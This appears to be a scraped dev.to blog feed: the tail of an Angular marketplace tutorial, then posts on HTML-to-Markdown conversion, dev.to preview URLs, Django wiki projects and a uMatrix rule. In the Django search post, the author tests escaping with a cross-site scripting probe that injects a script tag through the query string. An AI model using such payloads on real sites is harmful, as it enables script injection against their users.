  1. A JSON file (facemasks.json) that acts as a database 📜 to store all the product information - image encoded as base64 string, title of the product, seller, shop name, etc.
  2. get-product-detail-service.ts, which is an Angular service that provides the interfaces to any of our components to interact with facemasks.json.
3. By tracing 🕵️‍♂️ from the home page, we can figure out that product-banner.component.ts is responsible to route to the component that shows the facemask products. onViewFaceMask(): void { this.router.navigate(["facemask"]); }
4. Even with all that code, you may again wonder why clicking on the face masks category will still show ‘Page Not found’ 🤔. If you guess that the Home module hasn’t yet routed the request to the correct component, you are right ✅ again! Add the code below into src/app/home/home.module.ts and witness the facemask products get listed!
```
// ...
import { ProductModule } from "../product/product.module";
import { FaceMaskProductListComponent } from "../product/face-mask-product-list.component";
import { ProductDetailComponent } from "../product/product-detail.component";

const routes: Routes = [
  {
    path: "home",
    component: ContentComponent,
  },
  {
    path: "facemask",
    component: FaceMaskProductListComponent,
  },
  {
    path: ":product/detail/:id",
    component: ProductDetailComponent,
  },
];

imports: [
    // all the previous imports are not shown, only the one below is new
    ProductModule,
  ],
```
1. Checkpoint 🛑 : Note that only one facemask product is listed. For those of you with eagle 🦅 eyes, you will notice this is due to the isVisible key in the facemasks.json file. We will go through how to workaround this and ‘add’ more facemasks in the next step. Snippet of facemasks.json to illustrate isVisible key
In this step, we will learn about how to add more goods 🛍. In a nutshell, the browser’s localStorage is used as a workaround to the static nature of our facemask.json file.
1. Instead of showing the end result first, we will see the final result towards the end of this step for this feature.
2. As programmatically or manually changing the value of isVisible key in facemasks.json file as a method to ‘add’ good is either impossible or not a good user experience ❌, we will instead use the values in the file as the ‘initial’ state of our marketplace website.
3. The initial state of all facemasks are loaded when our app first startup in src/app/product/_api/get-product-detail.service.ts.
```
export class GetProductDetailService {
  constructor() {
    // ...
    if (window.localStorage[PRODUCT_METADATA]) {
      // always remove so that newly added product in facemasks.json will be added into the metadata
      window.localStorage.removeItem(PRODUCT_METADATA);
    }
    this.initProductMetadataLocalStorage();
  }
  private initProductMetadataLocalStorage(): void {
    let facemaskMetadata: Metadata[] = [];
    MockAPI.facemasks.forEach((facemask, index) => {
      facemaskMetadata.push({
        productId: index,
        isProductAdded: facemask.isVisible,
      });
    });
    window.localStorage[PRODUCT_METADATA] = JSON.stringify(facemaskMetadata);
  }

  // ...
}
```
  1. Above is the relevant snippet of get-product-detail.service.ts.
  2. initProductMetadataLocalStorage() will read facemasks.json and save it into the localStorage - window.localStorage[PRODUCT_METADATA] = JSON.stringify(facemaskMetadata);
  3. Then, the rest of the functions in GetProductDetailService will either get or set the values saved in the localStorage instead of directly modifying the JSON file.
  4. The values will persist throughout the current browser session, thus mimicking the effect of a database.
4. For further illustration 🔍, let’s look at how facemasks are put on sale to be listed on the website. The function below is inside the same get-product-detail.service.ts file.
```
putFacemaskOnSale(id: number): void {
  if (window.localStorage[PRODUCT_METADATA]) {
    let facemaskMetadata: Metadata[] = JSON.parse(
      window.localStorage[PRODUCT_METADATA]
    );
    if (id < facemaskMetadata.length) {
      facemaskMetadata[id].isProductAdded = true;
      window.localStorage[PRODUCT_METADATA] =
        JSON.stringify(facemaskMetadata);
    }
  }
}
```
5. Now comes the million-dollar 💰question, with all that code why our code still doesn’t work? Turns out that what prevents us from adding goods is the button for it is not shown 🤷‍♂️. Add the code below into src/app/home/header.component.html right between the login and inbox button.
```
<li>
  <app-basket></app-basket>
</li>
```
6. Bravo! You have successfully added the button. The entire demo is as shown below. Remember 📝, if you are facing difficulty you can also refer to the angular-marketplace-final folder as a reference 😉.
  
  Demo for adding goods

Step 4️⃣: Chat 🗣 With Seller

Demo of Chatting with Seller

As of version 2.2.1, CometChat Angular UI Kit provides eight different components that can be used easily as an Angular component. An example is the CometChatConversationListWithMessages component that we used for our Inbox feature.
To get a nice floating bubble chat widget for our chat with seller feature, we will have to do slightly 🤏 more work by using another Angular UI Kit component - CometChatMessages.

Firstly, go to src/app/product/product.module.ts and modify the code as shown below to import the requirement component from ChatModule.

// ... 
import { FormsModule } from '@angular/forms';
import { ChatModule } from "../chat/chat.module"; // <--- new code

// ... 
// ... 

@NgModule({
  // ... 
  imports: [
    // ...
    FormsModule,
    ChatModule, // <--- new code
  ],
  // ... 
})
export class ProductModule {}

After that, add the following code into the end of src/app/product/product-detail.component.html. This will add the Angular UI Kit CometChatMessages component into our product detail page.
```

<div *ngIf="authService.isLoggedIn()">
  <app-user-message [uid]="sellerUid"></app-user-message>
</div>
```
After your Angular App reloads, you will be able to chat with the seller of any goods that you added.

Wait, wait, wait 🛑! Some of you who took extra time to follow all the steps closely will figure out that there’s at least one step being left out. Kudos 👏 to you for your diligence! Read on if you want to get the whole picture.

To be fair, it’s not some black magic 🧙‍♂️. The CometChatMessages component is wrapped inside our custom UserMessageComponent. Its template and its stylesheet (HTLM & CSS files) design the CometChatMessages to be a floating 🎈 bubble chat UI.
This UserMessageComponent is imported into the ProductModule during importing of the ChatModule. The openOrClose() function is called by the parent components so that clicking on the blue bubble will show open📤/hide📥 the seller chat.

// src/app/chat/user-message.component.ts

import { Component, Input, OnInit } from '@angular/core';
import { CometChat } from "@cometchat-pro/chat";
@Component({
  selector: "app-user-message",
  templateUrl: "./user-message.component.html",  // <--- HTML for this component
  styleUrls: ["./user-message.component.css"], // <--- CSS for this component
})
export class UserMessageComponent implements OnInit {
  cometChatUser: any;
  isInitSuccess: boolean;
  isOpen: boolean;
  constructor() {}
  ngOnInit(): void {
    this.isInitSuccess = false;
    this.isOpen = false;
  }
  @Input()
  public set uid(uid: string) {
    CometChat.getUser(uid).then(
      (user) => {
        console.log("User details fetched for UID:", uid);
        this.cometChatUser = user;
        this.isInitSuccess = true;
      },
      (error) => {
        console.error("User details fetching failed with error:", error);
      }
    );
  }
  openOrClose(): void {
    if (this.isInitSuccess) {
      this.isOpen = !this.isOpen;
    }
  }
}

- Another detail here is about the goods sellers. Recall that your CometChat Angular Marketplace app is newly created, when and how the sellers’ accounts get registered? 
    - For learning purposes, the registration of sellers’ accounts is automated to keep things focus and simple. However, hopefully by bringing up 👆 and answering this question will help you to understand the benefits why some code is structured in specific ways.
    - The main action happens in one function of the `Login` component (**src/app/account/login.component.ts**).

```
private preRegisterExistingSellers() {
  if (this.authService.isLoggedIn()) {
    for (let i = 0; i < this.productService.getFacemaskCount(); i++) {
      const product = this.productService.getFacemaskDetail(i);
      const shopName: string = product.shop;
      const sellerName: string = product.seller;
      CometChat.getUser(shopName).then(
        (user) => {
          console.log(`Seller: ${user.getName()} already registered:`);
        },
        (_) => {
          console.log(
            `Registering for Seller: ${sellerName}, Shop Name: ${shopName}`
          );
          this.registerCometChatUser(shopName, sellerName);
        }
      );
    }
  }
}
```

    - We segment our code into modules with their own distinct features, and write code as a Angular service for code that needs to be access ‘globally’ in all modules.
    - Because of that, we are able to pre-register all existing sellers in the `Login` component of  `Account` module by using the `ProductService`.

Conclusion

That’s a wrap 💯! By the end of this tutorial, we have in our hands 🤲 a marketplace website with a production-grade seller chat integration! It is my conscious choice to not use a database to store the goods and their information. The reason is none other than to provide the most streamline learning experience for you.

This is not necessarily the end of the journey, especially if you choose to continue. From here, there are a few challenges in place for you to further 🚀 your learning:

- Replace the Angular UI Kit component used for Inbox with another component from the UI kit.
- If you are interested in learning more about Angular routing, try adding route guards 👮‍♂️ to prevent user to directly access goods that haven’t been ‘added’. Currently, you will be able to access any products defined in **facemasks.json** despite not being shown on the web page if you know the URLs. 
- Use a ‘real’ backend to serve the goods instead of **facemasks.json**. The sky 🌋 is the limit for this third and final suggestion. You can use Heroku, Firebase, AWS, GCP, Azure or any backend that suits your needs and have a decent free price tier. 
    - Among the three suggestions, this requires the most work even if you are just replacing the existing functionality of the ‘fake’ backend. However, this is also the most rewarding ✨ because you will be able to learn the most.

DevTip#3: Strip Down and Convert HTML to Markdown for Importing Notes into Joplin

Middleclass Dev — Sun, 28 Feb 2021 21:02:16 +0000

▶ Background

🛑 Problem Statement

📜 Solution

1️⃣ Step 1

2️⃣ Step 2

✉ Summary

▶ Background ↑top

Even though this article specifically mentioned about importing notes into Joplin, the steps laid out are generic. Most of the details of exporting and importing notes are left out to keep this article as concise as possible. If you are just looking for the steps to clean and convert HTML to Markdown, skip right into the Solution.

I had been using OneNote, Evernote and Leanote as my note taking software. OneNote is primarily used for personal notes while Evernote is used for work. Later on, I switched to self-hosted Leanote from Evernote and used that for the past 2-3 years.

Now, I plan to consolidate both OneNote and Leanote contents into one place. In the end I decided to settle for Joplin. This article focus on part of the whole export and import notes process. More details are laid out in the Solution section below.

🛑 Problem Statement ↑top

A quick web search will return results on how to import OneNote and Leanote into Joplin. Despite the methods from the search results work considerably well for simple notes format, the imported note looks messed up once the note contains tables, images, styles, nested structures and combination of all these.

📜 Solution ↑top

After some trial and error, the following workflow works the best.

exporting all the notes from OneNote and Leanote into HTML,
remove all HTML attributes except for src and href (kept for image source and links),
follow by converting them into Markdown,
finally importing all the markdown notes into Joplin using the built-in importer

This article will focus on the 2 intermediary steps - sanitize & convert HTML into Markdown.

1️⃣ Step 1 ↑top

A typical HTML will contains script, id, class, style, data attributes and much more other HTML tags/attributes. As most of these are not supported in Markdown, removal of all HTML tags/attributes while remaining only a handful of what we need will drastically the markdown output later on.

Beautiful Soup 4 is used for this step. The command below uses pip to install the python library.

pip install beautifulsoup4

After installing, running the code example below will remove all HTML attributes except for src and href, and removing all script and style tags. I also posted this solution in this SO Q&A.

# https://beautiful-soup-4.readthedocs.io/en/latest/#searching-the-tree
from bs4 import BeautifulSoup, NavigableString

def unstyle_html(html):
    soup = BeautifulSoup(html, features="html.parser")

    # remove all attributes except for `src` and `href`
    for tag in soup.descendants:
        keys = []
        if not isinstance(tag, NavigableString):
            for k in tag.attrs.keys():
                if k not in ["src", "href"]:
                    keys.append(k)
            for k in keys:
                del tag[k]

    # remove all script and style tags
    for tag in soup.find_all(["script", "style"]):
        tag.decompose()

    # return html text
    return soup.prettify()

2️⃣ Step 2 ↑top

To convert from the sanitize HTML into Markdown, pandoc is used. This is a command line tool, an external library is installed using pip to use pandoc easier in Python.

pip install pypandoc

After installing, the code snippet below shows how to call pypandoc to convert HTML into Markdown.

pypandoc.convert_file(html_path,
    'markdown+pipe_tables+backtick_code_blocks-markdown_attribute',
    format='html',
    outputfile=md_path)

This pandoc documentation shows all the supported input and output formats. If you are curious about the 'plus' and 'minus' strings after the format, those are for adding or removing pandoc extensions respectively. The Markdown files generated using these extensions provide the best imported Joplin notes. Check out this section to understand more details about the extensions.

✉ Summary ↑top

Use Beautiful Soup 4 to sanitize unneeded HTML tags and attributes
Use pandoc to convert HTML to Markdown.

DevTip #2: Using dev.to Social Preview API (undocumented?)

Middleclass Dev — Sun, 21 Feb 2021 15:24:35 +0000

This series is about any tech related tips or tricks that I found useful or interesting.

▶️ Background

❓ How To

➕ Bonus

▶️ Background ↑top

Stumble across stackoverflow developer story and like the looks of it. Thus decided to quickly update it with my latest details and make it public.

When I was adding my dev.to profile, that part of the story looks bland.

I immediately did a web search using the keywords forem dev logo banner to 'find some idea' 😉 on what picture to add onto it. This is then I found out that dev.to has a built in way of generating social preview cards!

❓ How To ↑top

https://dev.to/social_previews/user/{id}

The URL to get your social preview is as above. Where you can get your ID by using visiting this GET request - https://dev.to/api/users/me. The URL will return your DEV social preview in HTML.

The social preview API is not in the API documentation, so my guess is this is used by DEV to show preview images on search results or a DEV user URL is shared on other websites.

https://dev.to/social_previews/user/{user_id}.png

To get an image, you can also append '.png' to the URL. The end result in the stackoverflow developer story is as below.

➕ Bonus↑top

Aside from social preview card of user, for those with sharp eyes will see that in the search result above there are social preview cards for articles and comments too!

Format is as below:

https://dev.to/social_previews/article/{article_id}

http://dev.to/social_previews/comment/{comment_id}

The same trick of including .png also applies! I just notice that this is made possible by using a service called https://hcti.io to convert HTML&CSS into image.

Just for fun, the cover image is the social preview card of this article. So yeah, that's more or less equivalent to a spoiler 🕊.

Project1 #2 - Wikipedia Search

Middleclass Dev — Sun, 14 Feb 2021 20:46:24 +0000

After completing the first 2 specifications in the last post, this week focus is on completing the 3rd spec - a wiki search functionality.

▶️ 3rd Specification

▶️ Django Learning

1️⃣ View must return an HttpResponse

2️⃣ Django Cross-Site Scripting protection (XSS👿)

▶️ Conclusion

▶️ 3rd Specification ↑top

Search: Allow the user to type a query into the search box in the sidebar to search for an encyclopedia entry.

If the query matches the name of an encyclopedia entry, the user should be redirected to that entry’s page.
If the query does not match the name of an encyclopedia entry, the user should instead be taken to a search results page that displays a list of all encyclopedia entries that have the query as a substring. For example, if the search query were Py, then Python should appear in the search results.
Clicking on any of the entry names on the search results page should take the user to that entry’s page.

▶️ Django Learning ↑top

Before jumping🦘 into what I have learnt, below is a demo of the 3rd spec.

1️⃣ View must return an HttpResponse ↑top

The error❌ "The view didn't return an HttpResponse object. It returned None instead" is shown when a search query GET request is sent to the server.

The index() function shown below is the function the server routes to when the GET request is received.

def index(request):
    if request.GET.get('q'):
        search(request, request.GET['q'])
    else:
        return render(request, "encyclopedia/index.html", {
            "entries": util.list_entries()
    })

# ...
# ...

def search(request, query):
    fuzzy_match = []
    # ...
    # ...
    return render(request, "encyclopedia/result.html", {
        "query": query,
        "results": fuzzy_match
    })

As with many mistakes, when revisited it looks incredible obvious. This time the root cause is lack of a return statement when calling search(). This stackoverflow question points me to the right direction when I was debugging this issue.

2️⃣ Django Cross-Site Scripting protection (XSS👿) ↑top

When working on rendering the query string in the scenario that no result matches the query string, I noticed the possibility of XSS.

A simple illustration that I had in mind is a query as shown below:

http://127.0.0.1:8000/?q="</li></ul><script>alert("test")</script>

OR simply enter the text below into the search box

"</li></ul><script>alert("test")</script>

XSS vulnerability in action 👾

Fortunately Django has autoescape(documentation) on by default😇. Thus the demo above will not be possible.

It can be made possible to confirm the possibility of XSS by explicitly turning off autoescape.

{% autoescape off %}
    {{ untrusted user controlled input text to be rendered }}
{% endautoescape %}

▶️ Conclusion ↑top

That's all for this post, next up - creating and editing wiki pages!

P/S: On related note regarding XSS, I imagine it will not be possible for XSS to occur by using the wiki page creation too. Will certainly keep you posted if it turns out otherwise 😉

DevTip #1: Prevent Adblock Detection For Privacy

Middleclass Dev — Sun, 07 Feb 2021 10:30:10 +0000

You are caught with the redirect below when browsing for articles to solve certain issue. This prevents you from looking at the content 🤷‍♂️

This is a scenario that we might run into if we are using some types of adblocker or the built-in privacy tracker provided by browsers. In this post I will be sharing 🔶the solution followed by 🔷the methodology in arriving to the solution.

Before that, it is important to know that sometimes it is good to let the tracker / ads to go through. There are 3 scenarios that come into my mind now:

To support your content creator / sites.
To get a better browsing experience especially on banking sites.
To get better personalized ads and search results.

🔶 Solution

My solution is to use a browser extension called uMatrix (Github, Chrome store, Firefox addon). It is noted that this extension is no longer in active development since Sept 2020, but up until now I haven't find other advanced default deny blocker that works as seamlessly as uMatrix.

Having stated all that, the way to be able to browse website such as tomsguide.com or techradar.com is to allow the traffic for "vanilla.futurecdn.net". You can either add the rule manually into the uMatrix rule setting, or use the uMatrix UI to do so.

uMatrix Rule

* vanilla.futurecdn.net script allow

specific.siteurl.com vanilla.futurecdn.net script allow

I am being more specific by allowing only 'script' from vanilla.futurecdn.net. However I think it is OK to allow everything by using the * wildcard.

uMatrix UI

First press the extension icon.
Toggle the 'power' icon to allow all traffic (temporary disable uMatrix)
Refresh the website, which will result in everything being loaded.
Press the extension icon, scroll to find 'vanilla.futurecdn.net' and click on it to allow all its traffic.

GIF below shows where to find the rule setting and the whole UI process.

🔷 Methodology

The motivation🔥 behind sharing the methodology is that this relates to how do I usually find a solution when debugging software. By sharing my thought process here publicly I hope this will benefit others while open up to better suggestions on my methodology.

Firstly, I start by thinking of what tool that can help in this scenario.
I ended up bringing up the 🧰 browser's dev tool to investigate the network traffic.
I noticed that the traffic that I get is after the redirect happens.
I looked around the firefox dev tool and found the persist log option as shown in the picture below. This option is also available in the chrome dev tool.
Here, I saw there are a couple of domain blocked by uMatrix. Thus, I plan to allow the traffic from those domain one at a time to test which will prevent the redirect. There's around 6 sites in this case so that is doable but in hindsight enabling half at a time might be faster.
I chose google-analytics.com, quantcast.mgr.consesu.org, then lastly futurecdn.net. This is how I come to the conclusion of allowing vanilla.futurecdn.net will prevent the redirect.

From my thought process in choosing which website to allow, I think what I can do better is to choose futurecdn.net as the 2nd tries. I over-analyze and chose quantcast.mgr.consesu.org because I saw the script file blocked is choice.js. Next time when I came across another similar scenario I will go for the domain that is being blocked the most first =)

Project1 - Wikipedia and First Look at Django

Middleclass Dev — Sun, 31 Jan 2021 12:00:08 +0000

▶️ Background

▶️ Jumping into Project1

1️⃣ First Specification

encyclopedia/views.py

encyclopedia/urls.py

2️⃣ Second Specification

After the HTML & CSS project0 of creating Google Search front-end, project1 is to design a Wikipedia-like online encyclopedia backend using Django.

▶️ Background

The first impression on Django is surprisingly not as bad as I would have thought. I have used NodeJS and ReactJS before and frankly did had some skepticism towards the ease of use of Django.

To my pleasant surprise, aside from a little getting used to Django isn't actually that convoluted. To be fair, I am used to using Python as that is my "day job" language. And I have to add on that the documentation of Django feels overwhelming with a lot of features.

▶️ Jumping into Project1

A little background before going into details of the 7 specifications required to complete this Wikipedia-like online encyclopedia project. The wiki pages are organized as individual markdown files with its filename as its title. Below is the directory overview:

All the of files shown above are provided except for entry.html & notfound.html which are colored green. This GIF summarized what I had done so far:

In words, I had done the first two specifications which are as follows:

Entry Page: Visiting /wiki/TITLE, where TITLE is the title of an encyclopedia entry, should render a page that displays the contents of that encyclopedia entry.
- The view should get the content of the encyclopedia entry by calling the appropriate util function.
- If an entry is requested that does not exist, the user should be presented with an error page indicating that their requested page was not found.
- If the entry does exist, the user should be presented with a page that displays the content of the entry. The title of the page should include the name of the entry.
Index Page: Update index.html such that, instead of merely listing the names of all pages in the encyclopedia, user can click on any entry name to be taken directly to that entry page.

1️⃣ First Specification

In order to display the correct entry when /wiki/TITLE is requested:

views.py needs to handle the request
urls.py of the encyclopedia app need to route to the correct function in the views.py

encyclopedia/views.py

Here, the markdown2 python package is used to convert the markdown wiki entries which are then rendered as entry.html.

# encyclopedia/views.py

import markdown2
# ...
def topic(request, title):
    mdStr = util.get_entry(title)
    if mdStr:
        html = markdown2.markdown(mdStr)
        return render(request, "encyclopedia/entry.html", {
            "title": title,
            "content": html
        })
    else:
        return render(request, "encyclopedia/notfound.html", {
            "message": f"Error: Wiki page titled '{title}' not found"
        })
# ...

encyclopedia/urls.py

# encyclopedia/urls.py
# ...
urlpatterns = [
    # ...
    path("wiki/<str:title>/", views.topic, name="topic"),
    # ...
]

2️⃣ Second Specification

The second specification is much more straight forward, this documentation example in Django shows how to create an anchor link in HTML that automatically uses the topic route we specified in urls.py.

Showing the example from the documentation for better illustration:

from django.urls import path

from . import views

urlpatterns = [
    #...
    path('articles/<int:year>/', views.year_archive, name='news-year-archive'),
    #...
]

In the HTML template code:

<a href="{% url 'news-year-archive' 2012 %}">2012 Archive</a>
{# Or with the year in a template context variable: #}
<ul>
{% for yearvar in year_list %}
<li><a href="{% url 'news-year-archive' yearvar %}">{{ yearvar }} Archive</a></li>
{% endfor %}
</ul>

That's all for this post! It's more lengthy this time as I thought of sharing in more details of what I had learnt. Hopefully it's helpful and feel free to discuss any improvements or how easy this can be achieved using any other languages 😉

Project0 #3 - Recording Explainer Video using OBS

Middleclass Dev — Sun, 24 Jan 2021 09:20:46 +0000

Project0 completed! I am happy with the learning process despite spenting more time than expected on basic html and css.

I tried my best to make the 3 Google Search pages as similar to the actual pages as possible as shown in the video below. Most of them are not the requirements of this assignment - the aim is to get the most learning out of it.

Even the process of creating a demo video is not a hassle cause I am able to practice communicating features of a 'product'. Shall end this post with the demo video =)

Project0 #2 - Grow to Full Height Using Flexbox

Middleclass Dev — Sun, 17 Jan 2021 15:27:07 +0000

Full Height Grow Explanation

From previous post of this series, I was looking for a way to grow the content to full height without having to perform any calculation of subtracting the height of the other elements.

The cover image shows one method of doing it by using flexbox, specifically the flex-grow attribute.

The header section represents any top navigation bar or title
The content section represents the area that we wish to grow to the remaining height of body.
The footer section represents... the footer 😜

Feel free to playaround with the example in the code snippet below:

Project0 Progress

The main search page is done! 🎉 Now left the image and the advanced search pages. Prior to doing this exercise I will be underestimating the work needed to exactly replicate google search main page, but after this exercise I have more appreciation for the work needed.

Even though the web development work so far are very basic, I am satisfied with what I have learnt and done. The GIF below shows the actual google search page VS what I had done =)

DEV Community: Middleclass Dev

Commentary on CrowdStrike BSOD Root Cause Analysis Release

AoC 2 [2020] TryHackMe CTF 🐱‍💻Day 13 & 14

Table Of Contents

Day 1️⃣3️⃣ - Linux Enumeration, Discovering and Priv Escalation

👣Steps

Day 1️⃣4️⃣ - OSINT (Open Source Intelligence)

🧠 Info

👣Steps

AoC 2 [2020] CTF 🐱‍💻Day 10 to 12 (+bonus challenge)

Table Of Contents

⏮Previous AoC2020 Writeups

Day 🔟 - Network file sharing (Samba) Exploit via enum4linux

👣Steps

Day 1️⃣1️⃣ - Privilege Escalation

🧠Info

👣Steps

🎉Bonus

Day 1️⃣2️⃣ - Enumeration, Discovering and Exploiting Windows Web Servers

🧠Info

👣Steps

🎉Bonus

CTF - Advent of Cyber 2 [2020] Writeups (Day1 to Day9)

Table Of Contents

⚡ Motivation

❓ Who should try this tryhackme room

⭐ Writeups

Day 1️⃣- Simple cookie auth bypass

Day 2️⃣ - Upload vuln

Day 3️⃣ - Bypass Auth via brute force

Day 4️⃣ - Discovery using gobuster and wfuzz

Day 5️⃣ - Dump gift list by bypassing login using SQLi

Day 6️⃣ - Hijack Wish List via XSS

Day 7️⃣ - Analysing basic networking traffic using wireshark

Day 8️⃣ - Network discovery using NMap

Day 9️⃣ - Root access via anonymous FTP

How to Build a Marketplace with Angular (Etsy Clone)

What you’ll be building

Introduction

Prerequisites

Running the Angular Marketplace Example Online

Running the Angular Marketplace Example Locally

Project Structure 🏗

Step 1️⃣: Integrate CometChat 💬

Step 2️⃣: Sign In & Inbox 📥 Features

Step 3️⃣: List & Add Goods

Step 4️⃣: Chat 🗣 With Seller

Conclusion

DevTip#3: Strip Down and Convert HTML to Markdown for Importing Notes into Joplin

▶ Background ↑top

🛑 Problem Statement ↑top

📜 Solution ↑top

1️⃣ Step 1 ↑top

2️⃣ Step 2 ↑top

✉ Summary ↑top

DevTip #2: Using dev.to Social Preview API (undocumented?)

▶️ Background ↑top

❓ How To ↑top

➕ Bonus↑top

Project1 #2 - Wikipedia Search

▶️ 3rd Specification ↑top

▶️ Django Learning ↑top

1️⃣ View must return an HttpResponse ↑top

2️⃣ Django Cross-Site Scripting protection (XSS👿) ↑top

▶️ Conclusion ↑top

DevTip #1: Prevent Adblock Detection For Privacy

🔶 Solution

uMatrix Rule

uMatrix UI

🔷 Methodology

Project1 - Wikipedia and First Look at Django

▶️ Background

▶️ Jumping into Project1

1️⃣ First Specification

encyclopedia/views.py

encyclopedia/urls.py

2️⃣ Second Specification

Project0 #3 - Recording Explainer Video using OBS

Project0 #2 - Grow to Full Height Using Flexbox

Full Height Grow Explanation